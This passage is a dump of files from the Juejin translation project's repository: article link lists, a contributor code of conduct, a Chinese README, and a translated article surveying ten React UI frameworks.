数据集进行统计数据分析](https://juejin.im/post/5be8c994f265da61461db107)([haiyang-tju](https://github.com/haiyang-tju) 翻译) * [如何使用 Python 格式化时间型数据](https://juejin.im/post/5be26d15f265da61776b720a)([Raoul1996](https://github.com/Raoul1996) 翻译) * [使用 Pandas 在 Python 中创建一个简单的推荐系统](https://juejin.im/post/5be958416fb9a049af6cc969)([xilihuasi](https://github.com/xilihuasi) 翻译) * [基于评论的机器学习在线课程排名](https://juejin.im/post/5bc997fd6fb9a05cdb106d7a)([davelet](https://github.com/davelet) 翻译) * [语义分割 — U-Net(第一部分)](https://juejin.im/post/5bc55ec8f265da0a8f35ef20)([JohnJiangLA](https://github.com/JohnJiangLA) 翻译) * [TensorFlow 中的 RNN 串流](https://juejin.im/post/5bcb2975f265da0a8d36c7d8)([sisibeloved](https://github.com/sisibeloved) 翻译) * [使用 TensorFlow.js 进行无服务的机器学习](https://juejin.im/post/5bc13de2e51d450e827b88fc)([wzasd](https://github.com/wzasd) 翻译) * [数据科学和机器学习面试问题](https://juejin.im/post/5bbb104f5188255c960c4d7e)([jianboy](https://github.com/jianboy) 翻译) * [用 Python 实现马尔可夫链的初学者教程](https://juejin.im/post/5bb031d06fb9a05cdb104888)([cdpath](https://github.com/cdpath) 翻译) * [Python 中的无监督学习算法](https://juejin.im/post/5bab10ed6fb9a05d1f2211b6)([zhmhhu](https://github.com/zhmhhu) 翻译) * [用 Scikit-Learn 实现 SVM 和 Kernel SVM](https://juejin.im/post/5b7fd39af265da43831fa136)([rockyzhengwu](https://github.com/rockyzhengwu) 翻译) * [Sklearn 中的朴素贝叶斯分类器](https://juejin.im/post/5b8510be51882542d23a1d66)([sisibeloved](https://github.com/sisibeloved) 翻译) * [使用 Python 进行自动化特征工程](https://juejin.im/post/5b6ea0e4e51d4519044adff0)([mingxing47](https://github.com/mingxing47) 翻译) * [Python 与大数据:Airflow & Jupyter Notebook with Hadoop 3, Spark & Presto](https://juejin.im/post/5b5a7fdfe51d453526175687)([cf020031308](https://github.com/cf020031308) 翻译) * [自然语言处理真是有趣](https://juejin.im/post/5b6d08e2f265da0f9c67cf0b)([lihanxiang](https://github.com/lihanxiang) 翻译) * [给人类的机器学习指南🤖👶](https://juejin.im/post/5b136f12f265da6e5415114b)([sisibeloved](https://github.com/sisibeloved) 翻译) * [深度学习中所需的线性代数知识](https://juejin.im/post/5b19d99ae51d4506d81a7a2f)([maoqyhz](https://github.com/maoqyhz) 翻译) * [可微可塑性:一种学会学习的新方法](https://juejin.im/post/5b055308f265da0ba063879d)([luochen1992](https://github.com/luochen1992) 翻译) * [给初学者的 Jupyter Notebook 教程](https://juejin.im/post/5af8d3776fb9a07ab7744dd0)([SergeyChang](https://github.com/SergeyChang) 翻译) * [如何在安卓应用中使用 TensorFlow Mobile](https://juejin.im/post/5afb8dc5518825426c690236)([luochen1992](https://github.com/luochen1992) 翻译) * [在浏览器里使用 TenserFlow.js 实时估计人体姿态](https://juejin.im/post/5afd833b5188254270642ff3)([NoName4Me](https://github.com/NoName4Me) 翻译) * [Google 的 ML Kit 为 Android 和 iOS 提供了简单的机器学习 API](https://juejin.im/post/5af2942e51882567244df836)([ALVINYEH](https://github.com/ALVINYEH) 翻译) * [利用 Keras 深度学习库进行词性标注教程](https://juejin.im/post/5ae4613a5188256727742d7d)([luochen1992](https://github.com/luochen1992) 翻译) * [Facebook 的 AI 万金油:StarSpace 神经网络模型简介](https://juejin.im/post/5a83af7c6fb9a0633c661404)([noahziheng](https://github.com/noahziheng) 翻译) * [Facebook 开源了物体检测研究项目 Detectron](https://juejin.im/post/5a6c2ba56fb9a01cb64f0591)([SeanW20](https://github.com/SeanW20) 翻译) * [使用深度学习自动生成HTML代码 - 第 1 部分](https://juejin.im/post/5a72744e6fb9a01cb64f1d66)([sakila1012](https://github.com/sakila1012) 翻译) * [IBM 工程师的 TensorFlow 入门指北](https://juejin.im/post/5a3d1ecb518825256362de6a)([JohnJiangLA](https://github.com/JohnJiangLA) 翻译) * [如何使用 Golang 中的 Go-Routines 写出高性能的代码](https://juejin.im/post/5a17c0f9f265da431a42e060)([tmpbook](https://github.com/tmpbook) 翻译) * [RNN 循环神经网络系列 4: 注意力机制](https://juejin.im/post/59f72f61f265da432002871c?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([TobiasLee](https://github.com/TobiasLee) 翻译) * [Keras 中构建神经网络的 5 个步骤](https://juejin.im/post/59e43b5b6fb9a0452a3b5f4f?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([lsvih](https://github.com/lsvih) 翻译) * [RNN 循环神经网络系列 3:编码、解码器](https://juejin.im/post/59fc1616f265da432b4a2d44?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([changkun](https://github.com/changkun) 翻译) * [RNN 循环神经网络系列 5: 自定义单元](https://juejin.im/post/59fbd28b6fb9a045204b91f2?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([lsvih](https://github.com/lsvih) 翻译) * [Spotify 每周推荐功能:基于机器学习的音乐推荐](https://juejin.im/post/59fbd0d9518825299a468a8b?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([lsvih](https://github.com/lsvih) 翻译) * [RNN 循环神经网络系列 1:基本 RNN 与 CHAR-RNN](https://juejin.im/post/59f0c5b0f265da43085d3e94?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([changkun](https://github.com/changkun) 翻译) * [RNN 循环神经网络系列 2:文本分类](https://juejin.im/post/59f0c6b3f265da4319557de4?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([changkun](https://github.com/changkun) 翻译) * [什么是蒙特卡洛树搜索](https://juejin.im/post/59f16e8c5188250385371302?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([CACppuccino](https://github.com/CACppuccino) 翻译) * [搭建个人深度学习平台](https://juejin.im/post/59be8e2b5188252c24746e9c?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([RichardLeeH](https://github.com/RichardLeeH) 翻译) * [Uber 机器学习平台 — 米开朗基罗](https://juejin.im/post/59c8b4d56fb9a00a4843b2a6?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([lsvih](https://github.com/lsvih) 翻译) * [基于 TensorFlow 的上下文聊天机器人](https://juejin.im/entry/5992cd385188252433704fa3?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([edvardHua](https://github.com/edvardHua) 翻译) * [使用 AI 为 Web 网页增加无障碍功能](https://juejin.im/post/59a51e91f265da2499603c8c?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([lsvih](https://github.com/lsvih) 翻译) * [在 Airbnb 使用机器学习预测房源的价值](https://juejin.im/post/59acfc336fb9a0249471e47d?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([lsvih](https://github.com/lsvih) 翻译) * [为什么我们渴求女性来设计 AI ](https://juejin.im/post/599c1e45518825242a02596e?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([TobiasLee](https://github.com/TobiasLee) 翻译) * [巧用 ARKit 和 SpriteKit 从零开始做 AR 游戏](https://juejin.im/post/599aaf746fb9a02477072380?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([Danny1451](https://github.com/Danny1451) 翻译) * [深度学习系列4: 为什么你需要使用嵌入层](https://juejin.im/post/599183c6f265da3e2e5717d2?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([lileizhenshuai](https://github.com/lileizhenshuai) 翻译) * [机器之魂:聊天机器人是怎么工作的](https://juejin.im/post/599155d86fb9a03c467c151d?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([lsvih](https://github.com/lsvih) 翻译) * [深度学习系列3 - CNNs 以及应对过拟合的详细探讨](https://juejin.im/post/598f25b15188257d8643173d?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([lj147](https://github.com/lj147) 翻译) * [深度学习系列2:卷积神经网络](https://juejin.im/post/598ac6a55188257dd366367f?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([lsvih](https://github.com/lsvih) 翻译) * [如何将时间序列问题用 Python 转换成为监督学习问题](https://juejin.im/post/598ac4e651882548605ce4a9?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([lsvih](https://github.com/lsvih) 翻译) * [深度学习系列1:设置 AWS & 图像识别](https://juejin.im/post/5987f5885188256dcf65d01e?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([lileizhenshuai](https://github.com/lileizhenshuai) 翻译) * [深度学习的未来](https://juejin.im/post/597843506fb9a06ba4747db5?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([changkun](https://github.com/changkun) 翻译) * [论深度学习的局限性](https://juejin.im/post/5978352a6fb9a06bad6574a4?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([CACppuccino](https://github.com/CACppuccino) 翻译) * [使用 Python+spaCy 进行简易自然语言处理](https://juejin.im/post/5971a4b9f265da6c42353332?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([lsvih](https://github.com/lsvih) 翻译) * [从金属巨人到深度学习](https://juejin.im/post/596f4cecf265da6c2f0adb04?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([XatMassacrE](https://github.com/XatMassacrE) 翻译) * [在使用过采样或欠采样处理类别不均衡的数据后,如何正确的做交叉验证?](https://juejin.im/entry/5976dde9f265da6c2e0fc2f9/detail?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([edvardHua](https://github.com/edvardHua) 翻译) * [如何处理机器学习中的不平衡类别](https://juejin.im/post/596f150551882549980c5f56?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([RichardLeeH](https://github.com/RichardLeeH) 翻译) * [Scratch 平台的神经网络实现(R 语言)](https://juejin.im/post/5965cf75f265da6c4741adc4?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([CACppuccino](https://github.com/CACppuccino) 翻译) * [你会给想学习机器学习的软件工程师提出什么建议?](https://juejin.im/post/596323416fb9a06bae1dff63?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)([lsvih](https://github.com/lsvih) 翻译) ================================================ FILE: CODE_OF_CONDUCT.md ================================================ # Contributor Covenant Code of Conduct ## Our Pledge In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. ## Our Standards Examples of behavior that contributes to creating a positive environment include: * Using welcoming and inclusive language * Being respectful of differing viewpoints and experiences * Gracefully accepting constructive criticism * Focusing on what is best for the community * Showing empathy towards other community members Examples of unacceptable behavior by participants include: * The use of sexualized language or imagery and unwelcome sexual attention or advances * Trolling, insulting/derogatory comments, and personal or political attacks * Public or private harassment * Publishing others' private information, such as a physical or electronic address, without explicit permission * Other conduct which could reasonably be considered inappropriate in a professional setting ## Our Responsibilities Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. ## Scope This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at hi@xitu.io. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. ## Attribution This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] [homepage]: http://contributor-covenant.org [version]: http://contributor-covenant.org/version/1/4/ ================================================ FILE: README.md ================================================ # 掘金翻译计划 [![xitu](https://camo.githubusercontent.com/c9c9db0a39b56738a62332f0791d58b1522fdf82/68747470733a2f2f7261776769742e636f6d2f616c65656e34322f6261646765732f6d61737465722f7372632f786974752e737667)](https://github.com/xitu/gold-miner) [![掘金翻译计划](https://rawgit.com/aleen42/badges/master/src/juejin_translation.svg)](https://github.com/xitu/gold-miner/) [![](https://img.shields.io/badge/weibo-%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92-brightgreen.svg)](http://weibo.com/juejinfanyi) [![](https://img.shields.io/badge/%E7%9F%A5%E4%B9%8E%E4%B8%93%E6%A0%8F-%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92-blue.svg)](https://zhuanlan.zhihu.com/juejinfanyi) [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖[区块链](#区块链)、[人工智能](#ai--deep-learning--machine-learning)、[Android](#android)、[iOS](#ios)、[前端](#前端)、[后端](#后端)、[设计](#设计)、[产品](#产品)、[算法](https://github.com/xitu/gold-miner/blob/master/algorithm.md)和[其他](#其他)等领域,以及各大型优质 [官方文档及手册](#官方文档及手册),读者为热爱新技术的新锐开发者。 掘金翻译计划目前翻译完成 [4000](#近期文章列表) 余篇文章,官方文档及手册 [13](#官方文档及手册) 个,共有 [1500](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译和校对。 > ## [🥇掘金翻译计划 — 区块链分舵](https://github.com/xitu/blockchain-miner) # 官方指南 [**推荐优质英文文章到掘金翻译计划**](https://github.com/xitu/gold-miner/issues/new/choose) ### 翻译计划译者教程 1. [如何参与翻译](https://github.com/xitu/gold-miner/wiki/%E5%A6%82%E4%BD%95%E5%8F%82%E4%B8%8E%E7%BF%BB%E8%AF%91) 2. [关于如何提交翻译以及后续更新的教程](https://github.com/xitu/gold-miner/wiki/%E5%85%B3%E4%BA%8E%E5%A6%82%E4%BD%95%E6%8F%90%E4%BA%A4%E7%BF%BB%E8%AF%91%E4%BB%A5%E5%8F%8A%E5%90%8E%E7%BB%AD%E6%9B%B4%E6%96%B0%E7%9A%84%E6%95%99%E7%A8%8B) 3. [如何参与校对及校对的正确姿势](https://github.com/xitu/gold-miner/wiki/%E5%8F%82%E4%B8%8E%E6%A0%A1%E5%AF%B9%E7%9A%84%E6%AD%A3%E7%A1%AE%E5%A7%BF%E5%8A%BF) 4. [文章分享到掘金指南](https://github.com/xitu/gold-miner/wiki/%E5%88%86%E4%BA%AB%E5%88%B0%E6%8E%98%E9%87%91%E6%8C%87%E5%8D%97) 5. [译文排版规则指北](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E6%96%87%E6%8E%92%E7%89%88%E8%A7%84%E5%88%99%E6%8C%87%E5%8C%97) # 近期文章列表 ## 官方文档及手册 * [年度总结系列](https://github.com/xitu/Annual-Survey) * [TensorFlow 中文文档](https://github.com/xitu/tensorflow-docs) * [The JavaScript Tutorial](https://github.com/xitu/javascript-tutorial-zh) * [ML Kit 中文文档](https://github.com/Quorafind/MLkit-CN) * [GraphQL 中文文档](https://github.com/xitu/graphql.github.io) * [Under-the-hood-ReactJS 系列教程](https://github.com/xitu/Under-the-hood-ReactJS) * [系统设计入门教程](https://github.com/xitu/system-design-primer) * [Google Interview University 面试指北](https://github.com/xitu/google-interview-university) * [前端开发者指南(2017)](https://github.com/xitu/front-end-handbook-2017) * [前端开发者指南(2018)](https://github.com/xitu/front-end-handbook-2018) * [Awesome Flutter](https://github.com/xitu/awesome-flutter) * [macOS Security and Privacy Guide](https://github.com/xitu/macOS-Security-and-Privacy-Guide) * [State of Vue.js report 2017 中文版](https://github.com/xitu/gold-miner/blob/master/TODO/state-of-vue-report-2017.md) * [Next.js 轻量级 React 服务端渲染应用框架中文文档](http://nextjs.frontendx.cn/) ## 区块链 * [属于 JavaScript 开发者的 Crypto 简介](https://juejin.im/post/5ce0c39a51882525f07ef0fa) ([Xuyuey](https://github.com/Xuyuey) 翻译) * [我们为什么看好加密收藏品(NFT)的前景](https://juejin.im/post/5cb87819518825329e7ea61e) ([portandbridge](https://github.com/portandbridge) 翻译) * [2019 区块链平台与技术展望](https://juejin.im/post/5c613e6e6fb9a049e4132ba5) ([gs666](https://github.com/gs666) 翻译) * [以太坊入门指南](https://juejin.im/post/5c1080fbe51d452b307969a3) ([gs666](https://github.com/gs666) 翻译) * [以太坊入门:互联网政府](https://juejin.im/post/5c03c68851882551236eaa82) ([newraina](https://github.com/newraina) 翻译) * [所有区块链译文>>](https://github.com/xitu/gold-miner/blob/master/blockchain.md) ## 人工智能 * [机器学习系统设计相关面试问题的剖析](https://juejin.cn/post/7109306303285051406)([caiyundong](https://github.com/caiyundong) 翻译) * [如何使用 Python 管道 Pipe 高效编码](https://juejin.cn/post/7051051681357758494)([zenblofe](https://github.com/zenblofe) 翻译) * [使用人工智能/机器学习构建文章推荐引擎](https://juejin.cn/post/7001479252163952670)([jaredliw](https://github.com/jaredliw) 翻译) * [AI 是否已经成为内容营销的重要组成部分?](https://juejin.cn/post/6964280632801394724)([5Reasons](https://github.com/5Reasons) 翻译) * [Google 的 Apollo 芯片设计人工智能框架将深度学习芯片的性能提高了 25%](https://juejin.cn/post/6952819856429285407)([PingHGao](https://github.com/PingHGao) 翻译) * [所有 AI 译文>>](https://github.com/xitu/gold-miner/blob/master/AI.md) ## Android * [6 条 Jetpack Compose 指南帮你优化 App 性能](https://juejin.cn/post/7153803045418041358)([Quincy-Ye](https://github.com/Quincy-Ye) 翻译) * [React Native 开发者的流行存储方案](https://juejin.cn/post/7008020729832669191)([KimYangOfCat](https://github.com/KimYangOfCat) 翻译) * [Jetpack Compose:样式和主题(第二部分)](https://juejin.cn/post/6995419287435345934)([Kimhooo](https://github.com/Kimhooo) 翻译) * [探索 ANDROID 12:启动画面](https://juejin.cn/post/6983942336824737822)([Kimhooo](https://github.com/Kimhooo) 翻译) * [Jetpack Compose:更简便的 RecyclerView(第一部分)](https://juejin.cn/post/6970858140824764424)([Kimhooo](https://github.com/Kimhooo) 翻译) * [所有 Android 译文>>](https://github.com/xitu/gold-miner/blob/master/android.md) ## iOS * [2021 的 SwiftUI:好处、坏处以及丑处](https://juejin.cn/post/7140825514108780580)([earthaYan](https://github.com/earthaYan) 翻译) * [4 个鲜为人知的 Swift 特性](https://juejin.cn/post/7069326429397205005)([jaredliw](https://github.com/jaredliw) 翻译) * [React Native 开发者的流行存储方案](https://juejin.cn/post/7008020729832669191)([KimYangOfCat](https://github.com/KimYangOfCat) 翻译) * [逆向 `.car` 文件(已编译的 Asset Catalogs)](https://juejin.cn/post/7002491722550919198)([LoneyIsError](https://github.com/LoneyIsError) 翻译) * [Swift 中的内存布局](https://juejin.cn/post/6986520506002472973)([LoneyIsError](https://github.com/LoneyIsError) 翻译) * [所有 iOS 译文>>](https://github.com/xitu/gold-miner/blob/master/ios.md) ## 前端 * [全面刨析 CSS-in-JS](https://juejin.cn/post/7172360607201493029)([Tong-H](https://github.com/Tong-H) 翻译) * [WebRTC 与 WebSockets 教程 — Web 端的实时通信](https://juejin.cn/post/7138015673850003493)([DylanXie123](https://github.com/DylanXie123) 翻译) * [ES2022 有什么新特性?](https://juejin.cn/post/7114676836851777566)([CarlosChenN](https://github.com/CarlosChenN) 翻译) * [作为一名前端工程师我浪费时间学习了这些技术](https://juejin.cn/post/7086019601372282888)([airfri](https://github.com/airfri) 翻译) * [过度使用懒加载对 Web 性能的影响](https://juejin.cn/post/7074759905197948935)([Tong-H](https://github.com/Tong-H) 翻译) * [如何在网页中使用响应式图像](https://juejin.cn/post/7074199947477778439)([zenblofe](https://github.com/zenblofe) 翻译) * [如何编写更简洁优雅的 React 代码](https://juejin.cn/post/7070479272380465166)([zenblofe](https://github.com/zenblofe) 翻译) * [用 PNPM Workspaces 替换 Lerna + Yarn](https://juejin.cn/post/7071992448511279141)([CarlosChenN](https://github.com/CarlosChenN) 翻译) * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md) ## 后端 * [实现 Bitcask ,一种日志结构的哈希表](https://juejin.cn/post/7174345557861728292)([wangxuanni](https://github.com/wangxuanni) 翻译) * [用 Isabelle/HOL 验证分布式系统](https://juejin.cn/post/7166450887626326030)([wangxuanni](https://github.com/wangxuanni) 翻译) * [十大 Java 语言特性](https://juejin.cn/post/7140097107000000520)([jaredliw](https://github.com/jaredliw) 翻译) * [使用令牌桶和熔断器进行重试](https://juejin.cn/post/7153093426446237727)([wangxuanni](https://github.com/wangxuanni) 翻译) * [WebRTC 与 WebSockets 教程 — Web 端的实时通信](https://juejin.cn/post/7138015673850003493)([DylanXie123](https://github.com/DylanXie123) 翻译) * [微服务架构何时会是一种坏选择](https://juejin.cn/post/7135364257918484488)([DylanXie123](https://github.com/DylanXie123) 翻译) * [如何使用 Python 中的 PyPA setuptools 打包和部署 CLI 应用程序](https://juejin.cn/post/7125323312321789989)([haiyang-tju](https://github.com/haiyang-tju) 翻译) * [10 个最难的 Python 问题](https://juejin.cn/post/7124285689717325831)([jaredliw](https://github.com/jaredliw) 翻译) * [所有后端译文>>](https://github.com/xitu/gold-miner/blob/master/backend.md) ## 设计 * [5个关于 UI 设计系统的误解](https://juejin.cn/post/7086291006286462990)([CarlosChenN](https://github.com/CarlosChenN) 翻译) * [别让轮播毁了你的应用程序](https://juejin.cn/post/7003637296050225189)([jaredliw](https://github.com/jaredliw) 翻译) * [为 Web 开发同学准备的 11 个简单实用的 UI 设计小技巧](https://juejin.cn/post/6960922956876742669)([5Reasons](https://github.com/5Reasons) 翻译) * [你有设计作品的作品集吗?挺好的,但这还不够](https://juejin.cn/post/6934328263011467277)([PassionPenguin](https://github.com/PassionPenguin) 翻译) * [构建设计系统和组件库](https://juejin.cn/post/6924152501805678606)([Charlo-O](https://github.com/Charlo-O) 翻译) * [所有设计译文>>](https://github.com/xitu/gold-miner/blob/master/design.md) ## 产品 * [Github Actions 是如何渲染超大日志的](https://juejin.cn/post/6966082485226569759)([felixliao](https://github.com/felixliao) 翻译) * [算法不是产品](https://juejin.im/post/5e398e806fb9a07cb52bb462)([fireairforce](https://github.com/fireairforce) 翻译) * [利用 84 种认知偏见设计更好的产品 —— 第三部分](https://juejin.im/post/5d568c9ce51d453bc64801cd)([JalanJiang](https://github.com/JalanJiang) 翻译) * [想帮助用户做决定?你的 APP 可以这样设计!](https://juejin.im/post/5a7194986fb9a01c9f5bbbb2)([pthtc](https://github.com/pthtc) 翻译) * [利用 84 种认知偏见设计更好的产品 —— 第二部分](https://juejin.im/post/5d37e1816fb9a07ee1696a4e)([JalanJiang](https://github.com/JalanJiang) 翻译) * [所有产品译文>>](https://github.com/xitu/gold-miner/blob/master/product.md) ## 其他 * [自动化测试:你应当了解的一切](https://juejin.cn/post/7084071159821500447)([samyu2000](https://github.com/samyu2000) 翻译) * [使用了三个月的 Github Copilot,这是我的一些看法……](https://juejin.cn/post/7067817036738461732)([jaredliw](https://github.com/jaredliw) 翻译) * [5 个有趣的原因告诉你:找对象就得找程序员!](https://juejin.cn/post/7053326045352558599)([jaredliw](https://github.com/jaredliw) 翻译) * [WasmEdge 的安装与卸载](https://github.com/xitu/gold-miner/blob/master/article/2022/Install-and-uninstall-WasmEdge.md)([jaredliw](https://github.com/jaredliw) 翻译) * [使用 Python 模拟实现行星际空间旅行](https://juejin.cn/post/7047685861365776414)([zenblofe](https://github.com/zenblofe) 翻译) * [所有其他分类译文>>](https://github.com/xitu/gold-miner/blob/master/others.md) # Copyright > **版权声明:**[掘金翻译计划](https://github.com/xitu/gold-miner)译文仅用于学习、研究和交流。版权归[掘金翻译计划](https://github.com/xitu/gold-miner/)、文章作者和译者所有,欢迎非商业转载。转载前请联系译者或[管理员](https://user-images.githubusercontent.com/8282645/118856035-10a49d80-b909-11eb-8561-00a5a16bd58a.png)获取授权,并在文章开头明显位置注明本文出处、译者、校对者和掘金翻译计划的完整链接,违者必究。 # 合作伙伴 ================================================ FILE: TODO/10-best-reactjs-ui-frameworks-for-rapid-prototyping.md ================================================ > * 原文地址:[10 Best ReactJS UI Frameworks for rapid prototyping](https://hashnode.com/post/10-best-reactjs-ui-frameworks-for-rapid-prototyping-cit49tqx414z89c53equ4zc5k?utm_source=Feed%20Digest&utm_medium=email&utm_campaign=Hashnode%20Feed%20Digest) * 原文作者:[Tom Alter](https://hashnode.com/@tomasp) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[cyseria](https://github.com/cyseria) * 校对者:[Zheaoli](https://github.com/Zheaoli),[Grace-xhw](https://github.com/Grace-xhw) # 快速构建原型最好用的 10 个 ReactJS UI 框架 我正在探索一些基于 React 的,可以很好的和 React 组件结合起来,并且能直接在你的 React 项目中插入使用的功能丰富的 UI 框架。 下面列举了一些基于 ReactJS 编译的 UI 框架(排名不分先后),希望以下内容的能帮助你快速用 ReactJS 原型实现你的想法: * * * ## Material UI Material-UI 是基于 Google 的质感设计(Material Design)产生的一套丰富的 React 组件。 在数以百计的 UI 框架中,Material UI 是最准确的实现了质感设计的一个 UI 框架。 ![Material UI](http://ac-Myg6wSTV.clouddn.com/74e8beb9a9a7c43a5b98.jpg) [主页](http://www.material-ui.com/) | [案例](http://www.material-ui.com/#/components/) * * * ## React-Bootstrap 这个还要解释吗?毫无疑问 Bootstrap 是这里最受欢迎的 UI 框架。 Bootstrap 是最先进的 UI 框架之一并且能帮我们做大部分的事情。这个就是 Bootstrap 3 的 React 组件。 ![React-Bootstrap](http://ac-Myg6wSTV.clouddn.com/f31c2cefeb94bdf497a7.jpg) [主页](https://react-bootstrap.github.io/) | [案例](https://react-bootstrap.github.io/components.html) | [GitHub](https://github.com/react-bootstrap/react-bootstrap/) * * * ## React-Foundation 来自 Zurb 的 [Foundation](http://foundation.zurb.com/) 是一个功能丰富且很容易自定义的库,也是目前最受欢迎的 UI 框架之一。 React-Foundation 是在形式上用 Foundation UI 实现的 React 组件。 ![React-Foundation](http://ac-Myg6wSTV.clouddn.com/d2242b9051b0459ca781.jpg) [主页](https://react.foundation) | [GitHub](https://github.com/nordsoftware/react-foundation) * * * ## Essence Essence 是一个用 ReactJS 实现了谷歌的 Material Design 规范的 CSS 框架。使用 Essence 你可以快速构建一个很好看的很棒的响应式网站( web 端和移动端)。 ![Essence](http://ac-Myg6wSTV.clouddn.com/0804b37102c26cba94ae.jpg) [主页](http://getessence.io/home) | [案例](http://getessence.io/core) * * * ## React-MDL React-MDL 是用 React 实现的已经火了很久的谷歌的 [轻质感设计(Material Design Light)](https://www.getmdl.io/components/index.html) 框架。 MDL 作为一个轻质感设计的 CSS 框架,致力于在保持 UI 的小巧轻便的同时保留质感设计的概念。 ![React-MDL](http://ac-Myg6wSTV.clouddn.com/586b70dd05495a6b1d6e.jpg) [主页](https://tleunen.github.io/react-mdl/) | [案例](https://tleunen.github.io/react-mdl/components/) * * * ## Belle Belle 给你提供了一个的 React 组件的集合,像开关、下拉列表、等级评定、文本框、按钮、卡片、选择框等等。 所有的组件都能在移动端和桌面上极优的运行。他有两个级别给你来做高度的自定义,你可以配置所有组件的基本样式或者随意修改其中的某一个。 ![Belle](http://ac-Myg6wSTV.clouddn.com/94ad593d2f1d45038640.jpg) [主页](http://nikgraf.github.io/belle/) | [GitHub](https://github.com/nikgraf/belle) * * * ## Elemental-UI Elemental-UI 是一个高质量的模块化的,能够用 React 来控制并且从一开始就被定义为能自然实现 React 模式的 UI 脚手架组件 Elemental-UI 借鉴了很多 UI 组件库的灵感,看起来就像是一个增强版的 Bootstrap。如果你是他的粉丝你一定要去试试。 ![Elemental-UI](https://res.cloudinary.com/hashnode/image/upload/v1473939642/a2jwc8adyvu8poz7tdkf.jpg) [主页](http://elemental-ui.com/) | [Github](https://github.com/elementalui/elemental) * * * ## MUI MUI 是一个借鉴 Material Design 规范的一个轻量级 CSS 框架。MUI 只提供 CSS 和 JS,有 React 和 Angular 这两个版本。 ![MUI](http://ac-Myg6wSTV.clouddn.com/b6be8f80db46838e9757.jpg) [主页](https://www.muicss.com/) | [GitHub](https://github.com/muicss/mui) * * * ## Grommet Grommet 是一个基于 ReactJS 用 JavaScript 提供了的一个很好的构造用户界面的例子。 Grommet 是开发者 HP 开发的,他们宣称这是在企业应用中有最好的用户体验的框架。 ![Grommet](https://res.cloudinary.com/hashnode/image/upload/v1473939674/xmnvbzrenzzik5qwaomb.jpg) [主页](https://grommet.github.io/) | [Demo](https://grommet.github.io/docs/get-started) | [GitHub](https://github.com/grommet/grommet) * * * ## React Toolbox React Toolbox 又是一个采用 Google 的 Material Design 的 UI 库,并且采用了一些最新的构建方法,像 CSS 模块化(用 SASS 编写),Webpack 和 ES6。这个库完美的结合了 Webpack 工作流,并且拥有非常容易的个性化配置以及非常灵活。 ![React Toolbox](https://res.cloudinary.com/hashnode/image/upload/v1473939692/o7lv8dqddvutdyxtca7f.jpg) [主页](http://react-toolbox.com/) | [案例](http://react-toolbox.com/#/components) | [GitHub](http://www.github.com/react-toolbox/react-toolbox) * * * ## Ant Design of React Ant Design 是一个中国公司(蚂蚁金服)设计的 React 库,基于他们自己项目的设计规范。是一套由 React 构建的漂亮的完整 UI 组件,采用 Material Design 设计原则。 他们正在寻找志愿者来完善他们的英文翻译(例如,时间选择器组件需要翻译),如果你有兴趣,请查看 [这个issue](https://github.com/ant-design/ant-design/issues/1471)。 ![Ant Design of React](https://res.cloudinary.com/hashnode/image/upload/v1473940606/usrcytdcrzdnhi71ijlj.jpg) 